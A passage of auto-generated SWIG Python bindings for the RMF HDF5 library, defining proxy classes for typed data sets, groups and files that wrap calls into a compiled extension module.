r"""__init__(IndexesDataSet2D self) -> IndexesDataSet2D""" _RMF_HDF5.IndexesDataSet2D_swiginit(self, _RMF_HDF5.new_IndexesDataSet2D()) def set_value(self, ijk, value): r"""set_value(IndexesDataSet2D self, DataSetIndex2D ijk, Ints value)""" return _RMF_HDF5.IndexesDataSet2D_set_value(self, ijk, value) def __str__(self): r"""__str__(IndexesDataSet2D self) -> std::string""" return _RMF_HDF5.IndexesDataSet2D___str__(self) def __repr__(self): r"""__repr__(IndexesDataSet2D self) -> std::string""" return _RMF_HDF5.IndexesDataSet2D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IndexesDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size, IntsList value)""" return _RMF_HDF5.IndexesDataSet2D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IndexesDataSet2D self, DataSetIndex2D ijk)""" return _RMF_HDF5.IndexesDataSet2D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IndexesDataSet2D # Register IndexesDataSet2D in _RMF_HDF5: _RMF_HDF5.IndexesDataSet2D_swigregister(IndexesDataSet2D) class IndexesDataSet3D(IndexesDataSetAttributes3D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::IndexesTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexesDataSet3D self) -> IndexesDataSet3D""" _RMF_HDF5.IndexesDataSet3D_swiginit(self, _RMF_HDF5.new_IndexesDataSet3D()) def set_value(self, ijk, value): r"""set_value(IndexesDataSet3D self, DataSetIndex3D ijk, Ints value)""" return _RMF_HDF5.IndexesDataSet3D_set_value(self, ijk, value) def __str__(self): r"""__str__(IndexesDataSet3D self) -> std::string""" return _RMF_HDF5.IndexesDataSet3D___str__(self) def __repr__(self): r"""__repr__(IndexesDataSet3D self) -> std::string""" return _RMF_HDF5.IndexesDataSet3D___repr__(self) def set_block(self, lb, size, value): r"""set_block(IndexesDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size, IntsList value)""" return _RMF_HDF5.IndexesDataSet3D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(IndexesDataSet3D self, DataSetIndex3D ijk)""" return _RMF_HDF5.IndexesDataSet3D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_IndexesDataSet3D # Register IndexesDataSet3D in _RMF_HDF5: _RMF_HDF5.IndexesDataSet3D_swigregister(IndexesDataSet3D) class StringDataSet1D(StringDataSetAttributes1D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::StringTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringDataSet1D self) -> StringDataSet1D""" _RMF_HDF5.StringDataSet1D_swiginit(self, _RMF_HDF5.new_StringDataSet1D()) def set_value(self, ijk, value): r"""set_value(StringDataSet1D self, DataSetIndex1D ijk, RMF::HDF5::StringTraits::Type value)""" return _RMF_HDF5.StringDataSet1D_set_value(self, ijk, value) def __str__(self): r"""__str__(StringDataSet1D self) -> std::string""" return _RMF_HDF5.StringDataSet1D___str__(self) def __repr__(self): r"""__repr__(StringDataSet1D self) -> std::string""" return _RMF_HDF5.StringDataSet1D___repr__(self) def set_block(self, lb, size, value): r"""set_block(StringDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size, Strings value)""" return _RMF_HDF5.StringDataSet1D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(StringDataSet1D self, DataSetIndex1D ijk)""" return _RMF_HDF5.StringDataSet1D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_StringDataSet1D # Register StringDataSet1D in _RMF_HDF5: _RMF_HDF5.StringDataSet1D_swigregister(StringDataSet1D) class StringDataSet2D(StringDataSetAttributes2D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::StringTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringDataSet2D self) -> StringDataSet2D""" _RMF_HDF5.StringDataSet2D_swiginit(self, _RMF_HDF5.new_StringDataSet2D()) def set_value(self, ijk, value): r"""set_value(StringDataSet2D self, DataSetIndex2D ijk, RMF::HDF5::StringTraits::Type value)""" return _RMF_HDF5.StringDataSet2D_set_value(self, ijk, value) def __str__(self): r"""__str__(StringDataSet2D self) -> std::string""" return _RMF_HDF5.StringDataSet2D___str__(self) def __repr__(self): r"""__repr__(StringDataSet2D self) -> std::string""" return _RMF_HDF5.StringDataSet2D___repr__(self) def set_block(self, lb, size, value): r"""set_block(StringDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size, Strings value)""" return _RMF_HDF5.StringDataSet2D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(StringDataSet2D self, DataSetIndex2D ijk)""" return _RMF_HDF5.StringDataSet2D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_StringDataSet2D # Register StringDataSet2D in _RMF_HDF5: _RMF_HDF5.StringDataSet2D_swigregister(StringDataSet2D) class StringDataSet3D(StringDataSetAttributes3D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::StringTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringDataSet3D self) -> StringDataSet3D""" _RMF_HDF5.StringDataSet3D_swiginit(self, _RMF_HDF5.new_StringDataSet3D()) def set_value(self, ijk, value): r"""set_value(StringDataSet3D self, DataSetIndex3D ijk, RMF::HDF5::StringTraits::Type value)""" return _RMF_HDF5.StringDataSet3D_set_value(self, ijk, value) def __str__(self): r"""__str__(StringDataSet3D self) -> std::string""" return _RMF_HDF5.StringDataSet3D___str__(self) def __repr__(self): r"""__repr__(StringDataSet3D self) -> std::string""" return _RMF_HDF5.StringDataSet3D___repr__(self) def set_block(self, lb, size, value): r"""set_block(StringDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size, Strings value)""" return _RMF_HDF5.StringDataSet3D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(StringDataSet3D self, DataSetIndex3D ijk)""" return _RMF_HDF5.StringDataSet3D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_StringDataSet3D # Register StringDataSet3D in _RMF_HDF5: _RMF_HDF5.StringDataSet3D_swigregister(StringDataSet3D) class StringsDataSet1D(StringsDataSetAttributes1D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::StringsTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringsDataSet1D self) -> StringsDataSet1D""" _RMF_HDF5.StringsDataSet1D_swiginit(self, _RMF_HDF5.new_StringsDataSet1D()) def set_value(self, ijk, value): r"""set_value(StringsDataSet1D self, DataSetIndex1D ijk, Strings value)""" return _RMF_HDF5.StringsDataSet1D_set_value(self, ijk, value) def __str__(self): r"""__str__(StringsDataSet1D self) -> std::string""" return _RMF_HDF5.StringsDataSet1D___str__(self) def __repr__(self): r"""__repr__(StringsDataSet1D self) -> std::string""" return _RMF_HDF5.StringsDataSet1D___repr__(self) def set_block(self, lb, size, value): r"""set_block(StringsDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size, StringsList value)""" return _RMF_HDF5.StringsDataSet1D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(StringsDataSet1D self, DataSetIndex1D ijk)""" return _RMF_HDF5.StringsDataSet1D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_StringsDataSet1D # Register StringsDataSet1D in _RMF_HDF5: _RMF_HDF5.StringsDataSet1D_swigregister(StringsDataSet1D) class StringsDataSet2D(StringsDataSetAttributes2D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::StringsTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringsDataSet2D self) -> StringsDataSet2D""" _RMF_HDF5.StringsDataSet2D_swiginit(self, _RMF_HDF5.new_StringsDataSet2D()) def set_value(self, ijk, value): r"""set_value(StringsDataSet2D self, DataSetIndex2D ijk, Strings value)""" return _RMF_HDF5.StringsDataSet2D_set_value(self, ijk, value) def __str__(self): r"""__str__(StringsDataSet2D self) -> std::string""" return _RMF_HDF5.StringsDataSet2D___str__(self) def __repr__(self): r"""__repr__(StringsDataSet2D self) -> std::string""" return _RMF_HDF5.StringsDataSet2D___repr__(self) def set_block(self, lb, size, value): r"""set_block(StringsDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size, StringsList value)""" return _RMF_HDF5.StringsDataSet2D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(StringsDataSet2D self, DataSetIndex2D ijk)""" return _RMF_HDF5.StringsDataSet2D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_StringsDataSet2D # Register StringsDataSet2D in _RMF_HDF5: _RMF_HDF5.StringsDataSet2D_swigregister(StringsDataSet2D) class StringsDataSet3D(StringsDataSetAttributes3D): r"""Proxy of C++ RMF::HDF5::DataSetD< RMF::HDF5::StringsTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(StringsDataSet3D self) -> StringsDataSet3D""" _RMF_HDF5.StringsDataSet3D_swiginit(self, _RMF_HDF5.new_StringsDataSet3D()) def set_value(self, ijk, value): r"""set_value(StringsDataSet3D self, DataSetIndex3D ijk, Strings value)""" return _RMF_HDF5.StringsDataSet3D_set_value(self, ijk, value) def __str__(self): r"""__str__(StringsDataSet3D self) -> std::string""" return _RMF_HDF5.StringsDataSet3D___str__(self) def __repr__(self): r"""__repr__(StringsDataSet3D self) -> std::string""" return _RMF_HDF5.StringsDataSet3D___repr__(self) def set_block(self, lb, size, value): r"""set_block(StringsDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size, StringsList value)""" return _RMF_HDF5.StringsDataSet3D_set_block(self, lb, size, value) def set_size(self, ijk): r"""set_size(StringsDataSet3D self, DataSetIndex3D ijk)""" return _RMF_HDF5.StringsDataSet3D_set_size(self, ijk) __swig_destroy__ = _RMF_HDF5.delete_StringsDataSet3D # Register StringsDataSet3D in _RMF_HDF5: _RMF_HDF5.StringsDataSet3D_swigregister(StringsDataSet3D) class ConstGroup(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstGroup class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __str__(self): r"""__str__(ConstGroup self) -> std::string""" return _RMF_HDF5.ConstGroup___str__(self) def __repr__(self): r"""__repr__(ConstGroup self) -> std::string""" return _RMF_HDF5.ConstGroup___repr__(self) def __init__(self, *args): r""" __init__(ConstGroup self) -> ConstGroup __init__(ConstGroup self, ConstGroup parent, std::string name) -> ConstGroup """ _RMF_HDF5.ConstGroup_swiginit(self, _RMF_HDF5.new_ConstGroup(*args)) def get_child_int_data_set_1d(self, *args): r""" get_child_int_data_set_1d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntTraits,1 > props) -> IntConstDataSet1D get_child_int_data_set_1d(ConstGroup self, std::string name) -> IntConstDataSet1D """ return _RMF_HDF5.ConstGroup_get_child_int_data_set_1d(self, *args) def get_child_int_data_set_2d(self, *args): r""" get_child_int_data_set_2d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntTraits,2 > props) -> IntConstDataSet2D get_child_int_data_set_2d(ConstGroup self, std::string name) -> IntConstDataSet2D """ return _RMF_HDF5.ConstGroup_get_child_int_data_set_2d(self, *args) def get_child_int_data_set_3d(self, *args): r""" get_child_int_data_set_3d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntTraits,3 > props) -> IntConstDataSet3D get_child_int_data_set_3d(ConstGroup self, std::string name) -> IntConstDataSet3D """ return _RMF_HDF5.ConstGroup_get_child_int_data_set_3d(self, *args) def get_child_float_data_set_1d(self, *args): r""" get_child_float_data_set_1d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatTraits,1 > props) -> FloatConstDataSet1D get_child_float_data_set_1d(ConstGroup self, std::string name) -> FloatConstDataSet1D """ return _RMF_HDF5.ConstGroup_get_child_float_data_set_1d(self, *args) def get_child_float_data_set_2d(self, *args): r""" get_child_float_data_set_2d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatTraits,2 > props) -> FloatConstDataSet2D get_child_float_data_set_2d(ConstGroup self, std::string name) -> FloatConstDataSet2D """ return _RMF_HDF5.ConstGroup_get_child_float_data_set_2d(self, *args) def get_child_float_data_set_3d(self, *args): r""" get_child_float_data_set_3d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatTraits,3 > props) -> FloatConstDataSet3D get_child_float_data_set_3d(ConstGroup self, std::string name) -> FloatConstDataSet3D """ return _RMF_HDF5.ConstGroup_get_child_float_data_set_3d(self, *args) def get_child_index_data_set_1d(self, *args): r""" get_child_index_data_set_1d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexTraits,1 > props) -> IndexConstDataSet1D get_child_index_data_set_1d(ConstGroup self, std::string name) -> IndexConstDataSet1D """ return _RMF_HDF5.ConstGroup_get_child_index_data_set_1d(self, *args) def get_child_index_data_set_2d(self, *args): r""" get_child_index_data_set_2d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexTraits,2 > props) -> IndexConstDataSet2D get_child_index_data_set_2d(ConstGroup self, std::string name) -> IndexConstDataSet2D """ return _RMF_HDF5.ConstGroup_get_child_index_data_set_2d(self, *args) def get_child_index_data_set_3d(self, *args): r""" get_child_index_data_set_3d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexTraits,3 > props) -> IndexConstDataSet3D get_child_index_data_set_3d(ConstGroup self, std::string name) -> IndexConstDataSet3D """ return _RMF_HDF5.ConstGroup_get_child_index_data_set_3d(self, *args) def get_child_string_data_set_1d(self, *args): r""" get_child_string_data_set_1d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringTraits,1 > props) -> StringConstDataSet1D get_child_string_data_set_1d(ConstGroup self, std::string name) -> StringConstDataSet1D """ return _RMF_HDF5.ConstGroup_get_child_string_data_set_1d(self, *args) def get_child_string_data_set_2d(self, *args): r""" get_child_string_data_set_2d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringTraits,2 > props) -> StringConstDataSet2D get_child_string_data_set_2d(ConstGroup self, std::string name) -> StringConstDataSet2D """ return _RMF_HDF5.ConstGroup_get_child_string_data_set_2d(self, *args) def get_child_string_data_set_3d(self, *args): r""" get_child_string_data_set_3d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringTraits,3 > props) -> StringConstDataSet3D get_child_string_data_set_3d(ConstGroup self, std::string name) -> StringConstDataSet3D """ return _RMF_HDF5.ConstGroup_get_child_string_data_set_3d(self, *args) def get_child_strings_data_set_1d(self, *args): r""" get_child_strings_data_set_1d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringsTraits,1 > props) -> StringsConstDataSet1D get_child_strings_data_set_1d(ConstGroup self, std::string name) -> StringsConstDataSet1D """ return _RMF_HDF5.ConstGroup_get_child_strings_data_set_1d(self, *args) def get_child_strings_data_set_2d(self, *args): r""" get_child_strings_data_set_2d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringsTraits,2 > props) -> StringsConstDataSet2D get_child_strings_data_set_2d(ConstGroup self, std::string name) -> StringsConstDataSet2D """ return _RMF_HDF5.ConstGroup_get_child_strings_data_set_2d(self, *args) def get_child_strings_data_set_3d(self, *args): r""" get_child_strings_data_set_3d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringsTraits,3 > props) -> StringsConstDataSet3D get_child_strings_data_set_3d(ConstGroup self, std::string name) -> StringsConstDataSet3D """ return _RMF_HDF5.ConstGroup_get_child_strings_data_set_3d(self, *args) def get_child_floats_data_set_1d(self, *args): r""" get_child_floats_data_set_1d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatsTraits,1 > props) -> FloatsConstDataSet1D get_child_floats_data_set_1d(ConstGroup self, std::string name) -> FloatsConstDataSet1D """ return _RMF_HDF5.ConstGroup_get_child_floats_data_set_1d(self, *args) def get_child_floats_data_set_2d(self, *args): r""" get_child_floats_data_set_2d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatsTraits,2 > props) -> FloatsConstDataSet2D get_child_floats_data_set_2d(ConstGroup self, std::string name) -> FloatsConstDataSet2D """ return _RMF_HDF5.ConstGroup_get_child_floats_data_set_2d(self, *args) def get_child_floats_data_set_3d(self, *args): r""" get_child_floats_data_set_3d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatsTraits,3 > props) -> FloatsConstDataSet3D get_child_floats_data_set_3d(ConstGroup self, std::string name) -> FloatsConstDataSet3D """ return _RMF_HDF5.ConstGroup_get_child_floats_data_set_3d(self, *args) def get_child_ints_data_set_1d(self, *args): r""" get_child_ints_data_set_1d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntsTraits,1 > props) -> IntsConstDataSet1D get_child_ints_data_set_1d(ConstGroup self, std::string name) -> IntsConstDataSet1D """ return _RMF_HDF5.ConstGroup_get_child_ints_data_set_1d(self, *args) def get_child_ints_data_set_2d(self, *args): r""" get_child_ints_data_set_2d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntsTraits,2 > props) -> IntsConstDataSet2D get_child_ints_data_set_2d(ConstGroup self, std::string name) -> IntsConstDataSet2D """ return _RMF_HDF5.ConstGroup_get_child_ints_data_set_2d(self, *args) def get_child_ints_data_set_3d(self, *args): r""" get_child_ints_data_set_3d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntsTraits,3 > props) -> IntsConstDataSet3D get_child_ints_data_set_3d(ConstGroup self, std::string name) -> IntsConstDataSet3D """ return _RMF_HDF5.ConstGroup_get_child_ints_data_set_3d(self, *args) def get_child_indexes_data_set_1d(self, *args): r""" get_child_indexes_data_set_1d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexesTraits,1 > props) -> IndexesConstDataSet1D get_child_indexes_data_set_1d(ConstGroup self, std::string name) -> IndexesConstDataSet1D """ return _RMF_HDF5.ConstGroup_get_child_indexes_data_set_1d(self, *args) def get_child_indexes_data_set_2d(self, *args): r""" get_child_indexes_data_set_2d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexesTraits,2 > props) -> IndexesConstDataSet2D get_child_indexes_data_set_2d(ConstGroup self, std::string name) -> IndexesConstDataSet2D """ return _RMF_HDF5.ConstGroup_get_child_indexes_data_set_2d(self, *args) def get_child_indexes_data_set_3d(self, *args): r""" get_child_indexes_data_set_3d(ConstGroup self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexesTraits,3 > props) -> IndexesConstDataSet3D get_child_indexes_data_set_3d(ConstGroup self, std::string name) -> IndexesConstDataSet3D """ return _RMF_HDF5.ConstGroup_get_child_indexes_data_set_3d(self, *args) def get_number_of_children(self): r"""get_number_of_children(ConstGroup self) -> unsigned int""" return _RMF_HDF5.ConstGroup_get_number_of_children(self) def get_child_name(self, i): r"""get_child_name(ConstGroup self, unsigned int i) -> std::string""" return _RMF_HDF5.ConstGroup_get_child_name(self, i) def get_has_child(self, name): r"""get_has_child(ConstGroup self, std::string name) -> bool""" return _RMF_HDF5.ConstGroup_get_has_child(self, name) def get_child_is_data_set(self, i): r"""get_child_is_data_set(ConstGroup self, unsigned int i) -> bool""" return _RMF_HDF5.ConstGroup_get_child_is_data_set(self, i) def get_child_group(self, *args): r""" get_child_group(ConstGroup self, unsigned int i) -> ConstGroup get_child_group(ConstGroup self, std::string name) -> ConstGroup """ return _RMF_HDF5.ConstGroup_get_child_group(self, *args) def get_child_is_group(self, *args): r""" get_child_is_group(ConstGroup self, unsigned int i) -> bool get_child_is_group(ConstGroup self, std::string name) -> bool """ return _RMF_HDF5.ConstGroup_get_child_is_group(self, *args) __swig_destroy__ = _RMF_HDF5.delete_ConstGroup # Register ConstGroup in _RMF_HDF5: _RMF_HDF5.ConstGroup_swigregister(ConstGroup) class _HDF5MutableAttributesGroup(ConstGroup): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstGroup > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(_HDF5MutableAttributesGroup self, std::string nm, Ints value)""" return _RMF_HDF5._HDF5MutableAttributesGroup_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(_HDF5MutableAttributesGroup self, std::string nm, Floats value)""" return _RMF_HDF5._HDF5MutableAttributesGroup_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(_HDF5MutableAttributesGroup self, std::string nm, Ints value)""" return _RMF_HDF5._HDF5MutableAttributesGroup_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(_HDF5MutableAttributesGroup self, std::string nm, std::string value)""" return _RMF_HDF5._HDF5MutableAttributesGroup_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete__HDF5MutableAttributesGroup # Register _HDF5MutableAttributesGroup in _RMF_HDF5: _RMF_HDF5._HDF5MutableAttributesGroup_swigregister(_HDF5MutableAttributesGroup) class ConstFile(ConstGroup): r"""Proxy of C++ RMF::HDF5::ConstFile class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args): r""" __init__(ConstFile self, File f) -> ConstFile __init__(ConstFile self) -> ConstFile """ _RMF_HDF5.ConstFile_swiginit(self, _RMF_HDF5.new_ConstFile(*args)) def __str__(self): r"""__str__(ConstFile self) -> std::string""" return _RMF_HDF5.ConstFile___str__(self) def __repr__(self): r"""__repr__(ConstFile self) -> std::string""" return _RMF_HDF5.ConstFile___repr__(self) def get_name(self): r"""get_name(ConstFile self) -> std::string""" return _RMF_HDF5.ConstFile_get_name(self) __swig_destroy__ = _RMF_HDF5.delete_ConstFile # Register ConstFile in _RMF_HDF5: _RMF_HDF5.ConstFile_swigregister(ConstFile) def open_file_read_only(name): r"""open_file_read_only(std::string name) -> ConstFile""" return _RMF_HDF5.open_file_read_only(name) def get_number_of_open_handles(*args): r"""get_number_of_open_handles(ConstFile f=RMF::HDF5::ConstFile()) -> int""" return _RMF_HDF5.get_number_of_open_handles(*args) def get_open_handle_names(*args): r"""get_open_handle_names(ConstFile f=RMF::HDF5::ConstFile()) -> Strings""" return _RMF_HDF5.get_open_handle_names(*args) def set_show_errors(tf): r"""set_show_errors(bool tf)""" return _RMF_HDF5.set_show_errors(tf) class Group(_HDF5MutableAttributesGroup): r"""Proxy of C++ RMF::HDF5::Group class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __str__(self): r"""__str__(Group self) -> std::string""" return _RMF_HDF5.Group___str__(self) def __repr__(self): r"""__repr__(Group self) -> std::string""" return _RMF_HDF5.Group___repr__(self) def __init__(self, *args): r""" __init__(Group self) -> Group __init__(Group self, Group parent, std::string name) -> Group """ _RMF_HDF5.Group_swiginit(self, _RMF_HDF5.new_Group(*args)) def add_child_group(self, name): r"""add_child_group(Group self, std::string name) -> Group""" return _RMF_HDF5.Group_add_child_group(self, name) def get_child_int_data_set_1d(self, *args): r""" get_child_int_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntTraits,1 > props) -> IntDataSet1D get_child_int_data_set_1d(Group self, std::string name) -> IntDataSet1D """ return _RMF_HDF5.Group_get_child_int_data_set_1d(self, *args) def add_child_int_data_set_1d(self, *args): r""" add_child_int_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IntTraits,1 > props) -> IntDataSet1D add_child_int_data_set_1d(Group self, std::string name) -> IntDataSet1D """ return _RMF_HDF5.Group_add_child_int_data_set_1d(self, *args) def get_child_int_data_set_2d(self, *args): r""" get_child_int_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntTraits,2 > props) -> IntDataSet2D get_child_int_data_set_2d(Group self, std::string name) -> IntDataSet2D """ return _RMF_HDF5.Group_get_child_int_data_set_2d(self, *args) def add_child_int_data_set_2d(self, *args): r""" add_child_int_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IntTraits,2 > props) -> IntDataSet2D add_child_int_data_set_2d(Group self, std::string name) -> IntDataSet2D """ return _RMF_HDF5.Group_add_child_int_data_set_2d(self, *args) def get_child_int_data_set_3d(self, *args): r""" get_child_int_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntTraits,3 > props) -> IntDataSet3D get_child_int_data_set_3d(Group self, std::string name) -> IntDataSet3D """ return _RMF_HDF5.Group_get_child_int_data_set_3d(self, *args) def add_child_int_data_set_3d(self, *args): r""" add_child_int_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IntTraits,3 > props) -> IntDataSet3D add_child_int_data_set_3d(Group self, std::string name) -> IntDataSet3D """ return _RMF_HDF5.Group_add_child_int_data_set_3d(self, *args) def get_child_float_data_set_1d(self, *args): r""" get_child_float_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatTraits,1 > props) -> FloatDataSet1D get_child_float_data_set_1d(Group self, std::string name) -> FloatDataSet1D """ return _RMF_HDF5.Group_get_child_float_data_set_1d(self, *args) def add_child_float_data_set_1d(self, *args): r""" add_child_float_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::FloatTraits,1 > props) -> FloatDataSet1D add_child_float_data_set_1d(Group self, std::string name) -> FloatDataSet1D """ return _RMF_HDF5.Group_add_child_float_data_set_1d(self, *args) def get_child_float_data_set_2d(self, *args): r""" get_child_float_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatTraits,2 > props) -> FloatDataSet2D get_child_float_data_set_2d(Group self, std::string name) -> FloatDataSet2D """ return _RMF_HDF5.Group_get_child_float_data_set_2d(self, *args) def add_child_float_data_set_2d(self, *args): r""" add_child_float_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::FloatTraits,2 > props) -> FloatDataSet2D add_child_float_data_set_2d(Group self, std::string name) -> FloatDataSet2D """ return _RMF_HDF5.Group_add_child_float_data_set_2d(self, *args) def get_child_float_data_set_3d(self, *args): r""" get_child_float_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatTraits,3 > props) -> FloatDataSet3D get_child_float_data_set_3d(Group self, std::string name) -> FloatDataSet3D """ return _RMF_HDF5.Group_get_child_float_data_set_3d(self, *args) def add_child_float_data_set_3d(self, *args): r""" add_child_float_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::FloatTraits,3 > props) -> FloatDataSet3D add_child_float_data_set_3d(Group self, std::string name) -> FloatDataSet3D """ return _RMF_HDF5.Group_add_child_float_data_set_3d(self, *args) def get_child_index_data_set_1d(self, *args): r""" get_child_index_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexTraits,1 > props) -> IndexDataSet1D get_child_index_data_set_1d(Group self, std::string name) -> IndexDataSet1D """ return _RMF_HDF5.Group_get_child_index_data_set_1d(self, *args) def add_child_index_data_set_1d(self, *args): r""" add_child_index_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IndexTraits,1 > props) -> IndexDataSet1D add_child_index_data_set_1d(Group self, std::string name) -> IndexDataSet1D """ return _RMF_HDF5.Group_add_child_index_data_set_1d(self, *args) def get_child_index_data_set_2d(self, *args): r""" get_child_index_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexTraits,2 > props) -> IndexDataSet2D get_child_index_data_set_2d(Group self, std::string name) -> IndexDataSet2D """ return _RMF_HDF5.Group_get_child_index_data_set_2d(self, *args) def add_child_index_data_set_2d(self, *args): r""" add_child_index_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IndexTraits,2 > props) -> IndexDataSet2D add_child_index_data_set_2d(Group self, std::string name) -> IndexDataSet2D """ return _RMF_HDF5.Group_add_child_index_data_set_2d(self, *args) def get_child_index_data_set_3d(self, *args): r""" get_child_index_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexTraits,3 > props) -> IndexDataSet3D get_child_index_data_set_3d(Group self, std::string name) -> IndexDataSet3D """ return 